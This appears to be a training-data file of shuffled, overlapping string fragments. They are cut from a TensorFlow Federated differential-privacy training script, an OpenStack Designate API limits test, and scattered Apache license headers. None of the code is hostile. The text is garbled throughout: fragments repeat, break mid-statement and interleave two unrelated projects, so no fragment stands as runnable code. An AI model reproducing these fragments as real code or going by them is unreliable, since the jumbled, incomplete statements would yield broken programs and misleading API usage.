"tff.aggregators.UnweightedMeanFactory() else: aggregation_factory = tff.aggregators.MeanFactory() if FLAGS.clip is not None:", "License is distributed on an \"AS IS\" BASIS, # WITHOUT", "model_fn=task.model_fn, server_optimizer_fn=server_optimizer_fn, client_weighting=client_weighting, client_optimizer_fn=client_optimizer_fn, model_update_aggregation_factory=aggregation_factory) train_data = task.datasets.train_data.preprocess( task.datasets.train_preprocess_fn) training_process", "License, Version 2.0 (the \"License\"); # you may not use", "else: aggregation_factory = tff.aggregators.MeanFactory() if FLAGS.clip is not None: if", "# You may obtain a copy of the License at", "used.') flags.DEFINE_float('noise_multiplier', None, 'Noise multiplier. If None, non-DP aggregator is", "tensorflow_federated as tff from utils import task_utils from utils import", "opt_flag_dict = optimizer_utils.remove_unused_flags('server', opt_flag_dict) hparam_dict.update(opt_flag_dict) # Update with task flags", "must be positive if clipping is enabled.') if FLAGS.adaptive_clip_learning_rate is", "'stackoverflow_word': def client_weighting(local_outputs): return tf.cast(tf.squeeze(local_outputs['num_tokens']), tf.float32) else: client_weighting = None", "License. \"\"\"Runs federated training with differential privacy on various tasks.\"\"\"", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "import tensorflow_federated as tff from utils import task_utils from utils", "'adaptive clipping is enabled.') clip = tff.aggregators.PrivateQuantileEstimationProcess.no_noise( initial_estimate=FLAGS.clip, target_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate)", "logging.info('Trainable weights:') for weight in task.model_fn().trainable_variables: logging.info('name: %s shape: %s',", "optimizer_utils.create_optimizer_fn_from_flags('server') train_client_spec = tff.simulation.baselines.ClientSpec( num_epochs=FLAGS.client_epochs_per_round, batch_size=FLAGS.client_batch_size, max_elements=FLAGS.max_elements_per_client) task = task_utils.create_task_from_flags(train_client_spec)", "utils import utils_impl from utils.optimizers import optimizer_utils with utils_impl.record_hparam_flags() as", "pertinent hyperparameter flags.\"\"\" hparam_dict = utils_impl.lookup_flag_values(shared_flags) # Update with optimizer", "clip adaptation is not used.') flags.DEFINE_float('target_unclipped_quantile', 0.5, 'Target unclipped quantile.')", "tff.learning.build_federated_evaluation(task.model_fn) evaluation_selection_fn = lambda round_num: [validation_data] def evaluation_fn(state, evaluation_data): return", "clip learning rate. If ' 'None, clip adaptation is not", "flags.DEFINE_integer('rounds_per_checkpoint', 50, 'How often to checkpoint the global model.') with", "for fixed clipping or initial clip for ' 'adaptive clipping.", "the License for the specific language governing permissions and #", "Training loop configuration flags.DEFINE_integer('total_rounds', 200, 'Number of total training rounds.')", "Apache License, Version 2.0 (the \"License\"); # you may not", "set to -1, all available examples ' 'are used.') flags.DEFINE_integer('rounds_per_checkpoint',", "specification with utils_impl.record_hparam_flags() as task_flags: task_utils.define_task_flags() FLAGS = flags.FLAGS def", "either express or implied. # See the License for the", "'rounds_per_eval', 1, 'How often to evaluate the global model on", "flags optimizer_utils.define_optimizer_flags('client') optimizer_utils.define_optimizer_flags('server') with utils_impl.record_hparam_flags() as shared_flags: # Federated training", "task.datasets.train_preprocess_fn) training_process = ( tff.simulation.compose_dataset_computation_with_iterative_process( train_data.dataset_computation, iterative_process)) training_selection_fn = functools.partial(", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "' '--root_output_dir to separate experiment results.') flags.DEFINE_string('root_output_dir', '/tmp/fed_opt/', 'Root directory", "permissions and # limitations under the License. \"\"\"Runs federated training", "FLAGS.clip <= 0: raise ValueError('clip must be positive if clipping", "( tff.simulation.compose_dataset_computation_with_iterative_process( train_data.dataset_computation, iterative_process)) training_selection_fn = functools.partial( tff.simulation.build_uniform_sampling_fn( train_data.client_ids, random_seed=FLAGS.client_datasets_random_seed),", "' 'adaptive clipping is enabled.') clip = tff.aggregators.PrivateQuantileEstimationProcess.no_noise( initial_estimate=FLAGS.clip, target_quantile=FLAGS.target_unclipped_quantile,", "import functools from absl import app from absl import flags", "train_data.client_ids, random_seed=FLAGS.client_datasets_random_seed), size=FLAGS.clients_per_round) test_data = task.datasets.get_centralized_test_data() validation_data = test_data.take(FLAGS.num_validation_examples) federated_eval", "def client_weighting(local_outputs): return tf.cast(tf.squeeze(local_outputs['num_tokens']), tf.float32) else: client_weighting = None if", "logging import tensorflow as tf import tensorflow_federated as tff from", "target_unclipped_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) iterative_process = tff.learning.build_federated_averaging_process( model_fn=task.model_fn, server_optimizer_fn=server_optimizer_fn, client_weighting=client_weighting, client_optimizer_fn=client_optimizer_fn, model_update_aggregation_factory=aggregation_factory)", "FLAGS.uniform_weighting: client_weighting = tff.learning.ClientWeighting.UNIFORM elif FLAGS.task == 'shakespeare_character' or FLAGS.task", "'The name of this experiment. Will be append to '", "set to None, all ' 'available examples are used.') #", "unclipped quantile.') flags.DEFINE_boolean('uniform_weighting', False, 'Whether to weigh clients uniformly.') #", "command-line arguments, ' 'got: {}'.format(argv)) client_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('client') server_optimizer_fn =", "initial clip for ' 'adaptive clipping. If None, no clipping", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "model on the validation dataset.') flags.DEFINE_integer( 'num_validation_examples', -1, 'The number", "optimizer flags optimizer_utils.define_optimizer_flags('client') optimizer_utils.define_optimizer_flags('server') with utils_impl.record_hparam_flags() as shared_flags: # Federated", "# Federated training hyperparameters flags.DEFINE_integer('client_epochs_per_round', 1, 'Number of epochs in", "the global model on the validation dataset.') flags.DEFINE_integer( 'num_validation_examples', -1,", "'How often to checkpoint the global model.') with utils_impl.record_hparam_flags() as", "'Whether to weigh clients uniformly.') # Task specification with utils_impl.record_hparam_flags()", "= tff.aggregators.clipping_factory( clip, aggregation_factory) else: if not FLAGS.uniform_weighting: raise ValueError(", "= optimizer_utils.remove_unused_flags('server', opt_flag_dict) hparam_dict.update(opt_flag_dict) # Update with task flags task_flag_dict", "if clipping is enabled.') if FLAGS.adaptive_clip_learning_rate is None: clip =", "for weight in task.model_fn().trainable_variables: logging.info('name: %s shape: %s', weight.name, weight.shape)", "utils.optimizers import optimizer_utils with utils_impl.record_hparam_flags() as optimizer_flags: # Defining optimizer", "to use. If set to -1, all available examples '", "utils_impl.lookup_flag_values(task_flags) hparam_dict.update(task_flag_dict) training_utils.write_hparams_to_csv(hparam_dict, FLAGS.root_output_dir, FLAGS.experiment_name) def main(argv): if len(argv) >", "or FLAGS.clip <= 0: raise ValueError('clip must be positive if", "weigh clients uniformly.') # Task specification with utils_impl.record_hparam_flags() as task_flags:", "noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, initial_l2_norm_clip=FLAGS.clip, target_unclipped_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) iterative_process = tff.learning.build_federated_averaging_process( model_fn=task.model_fn, server_optimizer_fn=server_optimizer_fn,", "model.') with utils_impl.record_hparam_flags() as dp_flags: # Differential privacy flags flags.DEFINE_float(", "training_selection_fn = functools.partial( tff.simulation.build_uniform_sampling_fn( train_data.client_ids, random_seed=FLAGS.client_datasets_random_seed), size=FLAGS.clients_per_round) test_data = task.datasets.get_centralized_test_data()", "None, all ' 'available examples are used.') # Training loop", "= optimizer_utils.create_optimizer_fn_from_flags('server') train_client_spec = tff.simulation.baselines.ClientSpec( num_epochs=FLAGS.client_epochs_per_round, batch_size=FLAGS.client_batch_size, max_elements=FLAGS.max_elements_per_client) task =", "'adaptive_clip_learning_rate', None, 'Adaptive clip learning rate. If ' 'None, clip", "not used.') flags.DEFINE_float('target_unclipped_quantile', 0.5, 'Target unclipped quantile.') flags.DEFINE_boolean('uniform_weighting', False, 'Whether", "\"License\"); # you may not use this file except in", "return federated_eval(state.model, evaluation_data) program_state_manager, metrics_managers = training_utils.create_managers( FLAGS.root_output_dir, FLAGS.experiment_name) _write_hparam_flags()", "2020, Google LLC. # # Licensed under the Apache License,", "test_data.take(FLAGS.num_validation_examples) federated_eval = tff.learning.build_federated_evaluation(task.model_fn) evaluation_selection_fn = lambda round_num: [validation_data] def", "ValueError('noise_multiplier must be positive if DP is enabled.') if FLAGS.clip", "distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR", "quantile.') flags.DEFINE_boolean('uniform_weighting', False, 'Whether to weigh clients uniformly.') # Task", "the License. \"\"\"Runs federated training with differential privacy on various", "FLAGS.adaptive_clip_learning_rate is None: aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_fixed( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, clip=FLAGS.clip) else:", "initial_l2_norm_clip=FLAGS.clip, target_unclipped_quantile=FLAGS.target_unclipped_quantile, learning_rate=FLAGS.adaptive_clip_learning_rate) iterative_process = tff.learning.build_federated_averaging_process( model_fn=task.model_fn, server_optimizer_fn=server_optimizer_fn, client_weighting=client_weighting, client_optimizer_fn=client_optimizer_fn,", "to sample per round.') flags.DEFINE_integer('client_datasets_random_seed', 1, 'Random seed for client", "privacy on various tasks.\"\"\" import functools from absl import app", "tf.cast(tf.squeeze(local_outputs['num_tokens']), tf.float32) else: client_weighting = None if FLAGS.noise_multiplier is None:", "# distributed under the License is distributed on an \"AS", "'Random seed for client sampling.') flags.DEFINE_integer( 'max_elements_per_client', None, 'Maximum number", "= tff.aggregators.UnweightedMeanFactory() else: aggregation_factory = tff.aggregators.MeanFactory() if FLAGS.clip is not", "== 'stackoverflow_word': def client_weighting(local_outputs): return tf.cast(tf.squeeze(local_outputs['num_tokens']), tf.float32) else: client_weighting =", "of this experiment. Will be append to ' '--root_output_dir to", "None: clip = FLAGS.clip else: if FLAGS.adaptive_clip_learning_rate <= 0: raise", "governing permissions and # limitations under the License. \"\"\"Runs federated", "# Unless required by applicable law or agreed to in", "is None or FLAGS.clip <= 0: raise ValueError('clip must be", "if FLAGS.uniform_weighting: aggregation_factory = tff.aggregators.UnweightedMeanFactory() else: aggregation_factory = tff.aggregators.MeanFactory() if", "None, non-DP aggregator is used.') flags.DEFINE_float( 'adaptive_clip_learning_rate', None, 'Adaptive clip", "opt_flag_dict = optimizer_utils.remove_unused_flags('client', opt_flag_dict) opt_flag_dict = optimizer_utils.remove_unused_flags('server', opt_flag_dict) hparam_dict.update(opt_flag_dict) #", "\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY", "raise ValueError( 'Differential privacy is only implemented for uniform weighting.')", "'adaptive clipping is enabled.') aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_adaptive( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, initial_l2_norm_clip=FLAGS.clip,", "flags.DEFINE_integer( 'rounds_per_eval', 1, 'How often to evaluate the global model", "= utils_impl.lookup_flag_values(shared_flags) # Update with optimizer flags corresponding to the", "training_process=training_process, training_selection_fn=training_selection_fn, total_rounds=FLAGS.total_rounds, evaluation_fn=evaluation_fn, evaluation_selection_fn=evaluation_selection_fn, rounds_per_evaluation=FLAGS.rounds_per_eval, program_state_manager=program_state_manager, rounds_per_saving_program_state=FLAGS.rounds_per_checkpoint, metrics_managers=metrics_managers) test_metrics", "no clipping is used.') flags.DEFINE_float('noise_multiplier', None, 'Noise multiplier. If None,", "def main(argv): if len(argv) > 1: raise app.UsageError('Expected no command-line", "clipping is enabled.') aggregation_factory = tff.aggregators.DifferentiallyPrivateFactory.gaussian_adaptive( noise_multiplier=FLAGS.noise_multiplier, clients_per_round=FLAGS.clients_per_round, initial_l2_norm_clip=FLAGS.clip, target_unclipped_quantile=FLAGS.target_unclipped_quantile,", "You may obtain a copy of the License at #", "= utils_impl.lookup_flag_values(task_flags) hparam_dict.update(task_flag_dict) training_utils.write_hparams_to_csv(hparam_dict, FLAGS.root_output_dir, FLAGS.experiment_name) def main(argv): if len(argv)", "None, 'Noise multiplier. If None, non-DP aggregator is used.') flags.DEFINE_float(", "# Copyright 2020, Google LLC. # # Licensed under the", "tff.learning.build_federated_averaging_process( model_fn=task.model_fn, server_optimizer_fn=server_optimizer_fn, client_weighting=client_weighting, client_optimizer_fn=client_optimizer_fn, model_update_aggregation_factory=aggregation_factory) train_data = task.datasets.train_data.preprocess( task.datasets.train_preprocess_fn)", "total training rounds.') flags.DEFINE_string( 'experiment_name', None, 'The name of this", "on various tasks.\"\"\" import functools from absl import app from", "is only implemented for uniform weighting.') if FLAGS.noise_multiplier <= 0:", "for metrics_manager in metrics_managers: metrics_manager.release(test_metrics, FLAGS.total_rounds + 1) if __name__", "weighting.') if FLAGS.noise_multiplier <= 0: raise ValueError('noise_multiplier must be positive", "the Apache License, Version 2.0 (the \"License\"); # you may", "for each training client. If set to None, all '", "FLAGS.root_output_dir, FLAGS.experiment_name) _write_hparam_flags() state = tff.simulation.run_training_process( training_process=training_process, training_selection_fn=training_selection_fn, total_rounds=FLAGS.total_rounds, evaluation_fn=evaluation_fn,", "import optimizer_utils with utils_impl.record_hparam_flags() as optimizer_flags: # Defining optimizer flags", "%s shape: %s', weight.name, weight.shape) if FLAGS.uniform_weighting: client_weighting = tff.learning.ClientWeighting.UNIFORM", "If None, non-DP aggregator is used.') flags.DEFINE_float( 'adaptive_clip_learning_rate', None, 'Adaptive", "clipping is used.') flags.DEFINE_float('noise_multiplier', None, 'Noise multiplier. If None, non-DP", "' 'available examples are used.') # Training loop configuration flags.DEFINE_integer('total_rounds',", "FLAGS.adaptive_clip_learning_rate <= 0: raise ValueError('adaptive_clip_learning_rate must be positive if '" ]
[ "pc = np.fromfile(pc_load_pathname, dtype=np.float32).reshape(-1, 3) pcd = o3d.geometry.PointCloud() pcd.points =", "as np pc_load_pathname = '/home/caizhongang/github/waymo_kitti_converter/007283-000.bin' pc = np.fromfile(pc_load_pathname, dtype=np.float32).reshape(-1, 3)", "3) pcd = o3d.geometry.PointCloud() pcd.points = o3d.utility.Vector3dVector(pc) axis = o3d.geometry.TriangleMesh.create_coordinate_frame(size=1,", "import open3d as o3d import numpy as np pc_load_pathname =", "o3d.geometry.PointCloud() pcd.points = o3d.utility.Vector3dVector(pc) axis = o3d.geometry.TriangleMesh.create_coordinate_frame(size=1, origin=[0,0,0]) visual =", "numpy as np pc_load_pathname = '/home/caizhongang/github/waymo_kitti_converter/007283-000.bin' pc = np.fromfile(pc_load_pathname, dtype=np.float32).reshape(-1,", "dtype=np.float32).reshape(-1, 3) pcd = o3d.geometry.PointCloud() pcd.points = o3d.utility.Vector3dVector(pc) axis =", "np pc_load_pathname = '/home/caizhongang/github/waymo_kitti_converter/007283-000.bin' pc = np.fromfile(pc_load_pathname, dtype=np.float32).reshape(-1, 3) pcd", "pc_load_pathname = '/home/caizhongang/github/waymo_kitti_converter/007283-000.bin' pc = np.fromfile(pc_load_pathname, dtype=np.float32).reshape(-1, 3) pcd =", "= '/home/caizhongang/github/waymo_kitti_converter/007283-000.bin' pc = np.fromfile(pc_load_pathname, dtype=np.float32).reshape(-1, 3) pcd = o3d.geometry.PointCloud()", "= o3d.geometry.PointCloud() pcd.points = o3d.utility.Vector3dVector(pc) axis = o3d.geometry.TriangleMesh.create_coordinate_frame(size=1, origin=[0,0,0]) visual", "as o3d import numpy as np pc_load_pathname = '/home/caizhongang/github/waymo_kitti_converter/007283-000.bin' pc", "'/home/caizhongang/github/waymo_kitti_converter/007283-000.bin' pc = np.fromfile(pc_load_pathname, dtype=np.float32).reshape(-1, 3) pcd = o3d.geometry.PointCloud() pcd.points", "np.fromfile(pc_load_pathname, dtype=np.float32).reshape(-1, 3) pcd = o3d.geometry.PointCloud() pcd.points = o3d.utility.Vector3dVector(pc) axis", "pcd = o3d.geometry.PointCloud() pcd.points = o3d.utility.Vector3dVector(pc) axis = o3d.geometry.TriangleMesh.create_coordinate_frame(size=1, origin=[0,0,0])", "o3d.utility.Vector3dVector(pc) axis = o3d.geometry.TriangleMesh.create_coordinate_frame(size=1, origin=[0,0,0]) visual = [pcd, axis] o3d.visualization.draw_geometries(visual)", "= np.fromfile(pc_load_pathname, dtype=np.float32).reshape(-1, 3) pcd = o3d.geometry.PointCloud() pcd.points = o3d.utility.Vector3dVector(pc)", "import numpy as np pc_load_pathname = '/home/caizhongang/github/waymo_kitti_converter/007283-000.bin' pc = np.fromfile(pc_load_pathname,", "o3d import numpy as np pc_load_pathname = '/home/caizhongang/github/waymo_kitti_converter/007283-000.bin' pc =", "open3d as o3d import numpy as np pc_load_pathname = '/home/caizhongang/github/waymo_kitti_converter/007283-000.bin'", "= o3d.utility.Vector3dVector(pc) axis = o3d.geometry.TriangleMesh.create_coordinate_frame(size=1, origin=[0,0,0]) visual = [pcd, axis]", "pcd.points = o3d.utility.Vector3dVector(pc) axis = o3d.geometry.TriangleMesh.create_coordinate_frame(size=1, origin=[0,0,0]) visual = [pcd," ]
[ "Apache License, Version 2.0 (the \"License\"); you may # not", "self.client.get('/limits/') self.assertEqual(200, response.status_int) self.assertEqual('application/json', response.content_type) self.assertIn('max_zones', response.json) self.assertIn('max_zone_records', response.json) self.assertIn('max_zone_recordsets',", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR", "may obtain # a copy of the License at #", "# Author: <NAME> <<EMAIL>> # # Licensed under the Apache", "# # Licensed under the Apache License, Version 2.0 (the", "agreed to in writing, software # distributed under the License", "Unless required by applicable law or agreed to in writing,", "response.json) self.assertIn('max_recordset_records', response.json) self.assertIn('min_ttl', response.json) self.assertIn('max_zone_name_length', response.json) self.assertIn('max_recordset_name_length', response.json) self.assertIn('max_page_limit',", "distributed under the License is distributed on an \"AS IS\"", "response = self.client.get('/limits/') self.assertEqual(200, response.status_int) self.assertEqual('application/json', response.content_type) self.assertIn('max_zones', response.json) self.assertIn('max_zone_records',", "L.P. # # Author: <NAME> <<EMAIL>> # # Licensed under", "response.json) self.assertIn('max_zone_name_length', response.json) self.assertIn('max_recordset_name_length', response.json) self.assertIn('max_page_limit', response.json) absolutelimits = response.json", "License, Version 2.0 (the \"License\"); you may # not use", "CONDITIONS OF ANY KIND, either express or implied. See the", "obtain # a copy of the License at # #", "applicable law or agreed to in writing, software # distributed", "absolutelimits = response.json self.assertEqual(cfg.CONF.quota_zones, absolutelimits['max_zones']) self.assertEqual(cfg.CONF.quota_zone_records, absolutelimits['max_zone_recordsets']) self.assertEqual(cfg.CONF['service:central'].min_ttl, absolutelimits['min_ttl']) self.assertEqual(cfg.CONF['service:central'].max_zone_name_len,", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "Version 2.0 (the \"License\"); you may # not use this", "specific language governing permissions and limitations # under the License.", "# not use this file except in compliance with the", "not use this file except in compliance with the License.", "OF ANY KIND, either express or implied. See the #", "permissions and limitations # under the License. from oslo_config import", "<NAME> <<EMAIL>> # # Licensed under the Apache License, Version", "self.assertIn('max_zones', response.json) self.assertIn('max_zone_records', response.json) self.assertIn('max_zone_recordsets', response.json) self.assertIn('max_recordset_records', response.json) self.assertIn('min_ttl', response.json)", "response.json) self.assertIn('max_zone_records', response.json) self.assertIn('max_zone_recordsets', response.json) self.assertIn('max_recordset_records', response.json) self.assertIn('min_ttl', response.json) self.assertIn('max_zone_name_length',", "writing, software # distributed under the License is distributed on", "WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express", "in writing, software # distributed under the License is distributed", "oslo_config import cfg from designate.tests.test_api.test_v2 import ApiV2TestCase class ApiV2LimitsTest(ApiV2TestCase): def", "in compliance with the License. You may obtain # a", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "License for the specific language governing permissions and limitations #", "the License. You may obtain # a copy of the", "governing permissions and limitations # under the License. from oslo_config", "an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF", "on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS", "use this file except in compliance with the License. You", "You may obtain # a copy of the License at", "response.json) self.assertIn('max_zone_recordsets', response.json) self.assertIn('max_recordset_records', response.json) self.assertIn('min_ttl', response.json) self.assertIn('max_zone_name_length', response.json) self.assertIn('max_recordset_name_length',", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "<reponame>scottwedge/OpenStack-Stein # Copyright 2013 Hewlett-Packard Development Company, L.P. # #", "Hewlett-Packard Development Company, L.P. # # Author: <NAME> <<EMAIL>> #", "Company, L.P. # # Author: <NAME> <<EMAIL>> # # Licensed", "from oslo_config import cfg from designate.tests.test_api.test_v2 import ApiV2TestCase class ApiV2LimitsTest(ApiV2TestCase):", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "response.json) self.assertIn('max_recordset_name_length', response.json) self.assertIn('max_page_limit', response.json) absolutelimits = response.json self.assertEqual(cfg.CONF.quota_zones, absolutelimits['max_zones'])", "Development Company, L.P. # # Author: <NAME> <<EMAIL>> # #", "self.assertIn('max_recordset_name_length', response.json) self.assertIn('max_page_limit', response.json) absolutelimits = response.json self.assertEqual(cfg.CONF.quota_zones, absolutelimits['max_zones']) self.assertEqual(cfg.CONF.quota_zone_records,", "class ApiV2LimitsTest(ApiV2TestCase): def test_get_limits(self): response = self.client.get('/limits/') self.assertEqual(200, response.status_int) self.assertEqual('application/json',", "either express or implied. See the # License for the", "self.assertIn('max_zone_recordsets', response.json) self.assertIn('max_recordset_records', response.json) self.assertIn('min_ttl', response.json) self.assertIn('max_zone_name_length', response.json) self.assertIn('max_recordset_name_length', response.json)", "# # Author: <NAME> <<EMAIL>> # # Licensed under the", "under the License is distributed on an \"AS IS\" BASIS,", "and limitations # under the License. from oslo_config import cfg", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "Licensed under the Apache License, Version 2.0 (the \"License\"); you", "may # not use this file except in compliance with", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "License is distributed on an \"AS IS\" BASIS, WITHOUT #", "with the License. You may obtain # a copy of", "KIND, either express or implied. See the # License for", "# License for the specific language governing permissions and limitations", "self.assertIn('max_zone_name_length', response.json) self.assertIn('max_recordset_name_length', response.json) self.assertIn('max_page_limit', response.json) absolutelimits = response.json self.assertEqual(cfg.CONF.quota_zones,", "self.assertEqual(cfg.CONF.quota_zones, absolutelimits['max_zones']) self.assertEqual(cfg.CONF.quota_zone_records, absolutelimits['max_zone_recordsets']) self.assertEqual(cfg.CONF['service:central'].min_ttl, absolutelimits['min_ttl']) self.assertEqual(cfg.CONF['service:central'].max_zone_name_len, absolutelimits['max_zone_name_length']) self.assertEqual(cfg.CONF['service:central'].max_recordset_name_len, absolutelimits['max_recordset_name_length'])", "you may # not use this file except in compliance", "\"License\"); you may # not use this file except in", "IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND,", "self.assertEqual('application/json', response.content_type) self.assertIn('max_zones', response.json) self.assertIn('max_zone_records', response.json) self.assertIn('max_zone_recordsets', response.json) self.assertIn('max_recordset_records', response.json)", "from designate.tests.test_api.test_v2 import ApiV2TestCase class ApiV2LimitsTest(ApiV2TestCase): def test_get_limits(self): response =", "express or implied. See the # License for the specific", "this file except in compliance with the License. You may", "language governing permissions and limitations # under the License. from", "compliance with the License. You may obtain # a copy", "= self.client.get('/limits/') self.assertEqual(200, response.status_int) self.assertEqual('application/json', response.content_type) self.assertIn('max_zones', response.json) self.assertIn('max_zone_records', response.json)", "the Apache License, Version 2.0 (the \"License\"); you may #", "response.status_int) self.assertEqual('application/json', response.content_type) self.assertIn('max_zones', response.json) self.assertIn('max_zone_records', response.json) self.assertIn('max_zone_recordsets', response.json) self.assertIn('max_recordset_records',", "cfg from designate.tests.test_api.test_v2 import ApiV2TestCase class ApiV2LimitsTest(ApiV2TestCase): def test_get_limits(self): response", "License. from oslo_config import cfg from designate.tests.test_api.test_v2 import ApiV2TestCase class", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "= response.json self.assertEqual(cfg.CONF.quota_zones, absolutelimits['max_zones']) self.assertEqual(cfg.CONF.quota_zone_records, absolutelimits['max_zone_recordsets']) self.assertEqual(cfg.CONF['service:central'].min_ttl, absolutelimits['min_ttl']) self.assertEqual(cfg.CONF['service:central'].max_zone_name_len, absolutelimits['max_zone_name_length'])", "# WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "response.json self.assertEqual(cfg.CONF.quota_zones, absolutelimits['max_zones']) self.assertEqual(cfg.CONF.quota_zone_records, absolutelimits['max_zone_recordsets']) self.assertEqual(cfg.CONF['service:central'].min_ttl, absolutelimits['min_ttl']) self.assertEqual(cfg.CONF['service:central'].max_zone_name_len, absolutelimits['max_zone_name_length']) self.assertEqual(cfg.CONF['service:central'].max_recordset_name_len,", "See the # License for the specific language governing permissions", "software # distributed under the License is distributed on an", "(the \"License\"); you may # not use this file except", "the License is distributed on an \"AS IS\" BASIS, WITHOUT", "the # License for the specific language governing permissions and", "self.assertEqual(cfg.CONF.quota_zone_records, absolutelimits['max_zone_recordsets']) self.assertEqual(cfg.CONF['service:central'].min_ttl, absolutelimits['min_ttl']) self.assertEqual(cfg.CONF['service:central'].max_zone_name_len, absolutelimits['max_zone_name_length']) self.assertEqual(cfg.CONF['service:central'].max_recordset_name_len, absolutelimits['max_recordset_name_length']) self.assertEqual(cfg.CONF['service:api'].max_limit_v2, absolutelimits['max_page_limit'])", "self.assertIn('max_recordset_records', response.json) self.assertIn('min_ttl', response.json) self.assertIn('max_zone_name_length', response.json) self.assertIn('max_recordset_name_length', response.json) self.assertIn('max_page_limit', response.json)", "# a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "# # Unless required by applicable law or agreed to", "ApiV2TestCase class ApiV2LimitsTest(ApiV2TestCase): def test_get_limits(self): response = self.client.get('/limits/') self.assertEqual(200, response.status_int)", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "self.assertIn('max_page_limit', response.json) absolutelimits = response.json self.assertEqual(cfg.CONF.quota_zones, absolutelimits['max_zones']) self.assertEqual(cfg.CONF.quota_zone_records, absolutelimits['max_zone_recordsets']) self.assertEqual(cfg.CONF['service:central'].min_ttl,", "file except in compliance with the License. You may obtain", "Copyright 2013 Hewlett-Packard Development Company, L.P. # # Author: <NAME>", "designate.tests.test_api.test_v2 import ApiV2TestCase class ApiV2LimitsTest(ApiV2TestCase): def test_get_limits(self): response = self.client.get('/limits/')", "for the specific language governing permissions and limitations # under", "response.content_type) self.assertIn('max_zones', response.json) self.assertIn('max_zone_records', response.json) self.assertIn('max_zone_recordsets', response.json) self.assertIn('max_recordset_records', response.json) self.assertIn('min_ttl',", "law or agreed to in writing, software # distributed under", "OR CONDITIONS OF ANY KIND, either express or implied. See", "the specific language governing permissions and limitations # under the", "response.json) self.assertIn('min_ttl', response.json) self.assertIn('max_zone_name_length', response.json) self.assertIn('max_recordset_name_length', response.json) self.assertIn('max_page_limit', response.json) absolutelimits", "# Copyright 2013 Hewlett-Packard Development Company, L.P. # # Author:", "under the Apache License, Version 2.0 (the \"License\"); you may", "except in compliance with the License. You may obtain #", "2.0 (the \"License\"); you may # not use this file", "implied. See the # License for the specific language governing", "ApiV2LimitsTest(ApiV2TestCase): def test_get_limits(self): response = self.client.get('/limits/') self.assertEqual(200, response.status_int) self.assertEqual('application/json', response.content_type)", "the License. from oslo_config import cfg from designate.tests.test_api.test_v2 import ApiV2TestCase", "License. You may obtain # a copy of the License", "def test_get_limits(self): response = self.client.get('/limits/') self.assertEqual(200, response.status_int) self.assertEqual('application/json', response.content_type) self.assertIn('max_zones',", "import cfg from designate.tests.test_api.test_v2 import ApiV2TestCase class ApiV2LimitsTest(ApiV2TestCase): def test_get_limits(self):", "self.assertIn('max_zone_records', response.json) self.assertIn('max_zone_recordsets', response.json) self.assertIn('max_recordset_records', response.json) self.assertIn('min_ttl', response.json) self.assertIn('max_zone_name_length', response.json)", "by applicable law or agreed to in writing, software #", "# distributed under the License is distributed on an \"AS", "ANY KIND, either express or implied. See the # License", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "\"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY", "response.json) self.assertIn('max_page_limit', response.json) absolutelimits = response.json self.assertEqual(cfg.CONF.quota_zones, absolutelimits['max_zones']) self.assertEqual(cfg.CONF.quota_zone_records, absolutelimits['max_zone_recordsets'])", "response.json) absolutelimits = response.json self.assertEqual(cfg.CONF.quota_zones, absolutelimits['max_zones']) self.assertEqual(cfg.CONF.quota_zone_records, absolutelimits['max_zone_recordsets']) self.assertEqual(cfg.CONF['service:central'].min_ttl, absolutelimits['min_ttl'])", "# Unless required by applicable law or agreed to in", "under the License. from oslo_config import cfg from designate.tests.test_api.test_v2 import", "import ApiV2TestCase class ApiV2LimitsTest(ApiV2TestCase): def test_get_limits(self): response = self.client.get('/limits/') self.assertEqual(200,", "absolutelimits['max_zones']) self.assertEqual(cfg.CONF.quota_zone_records, absolutelimits['max_zone_recordsets']) self.assertEqual(cfg.CONF['service:central'].min_ttl, absolutelimits['min_ttl']) self.assertEqual(cfg.CONF['service:central'].max_zone_name_len, absolutelimits['max_zone_name_length']) self.assertEqual(cfg.CONF['service:central'].max_recordset_name_len, absolutelimits['max_recordset_name_length']) self.assertEqual(cfg.CONF['service:api'].max_limit_v2,", "limitations # under the License. from oslo_config import cfg from", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "# under the License. from oslo_config import cfg from designate.tests.test_api.test_v2", "to in writing, software # distributed under the License is", "is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES", "self.assertEqual(200, response.status_int) self.assertEqual('application/json', response.content_type) self.assertIn('max_zones', response.json) self.assertIn('max_zone_records', response.json) 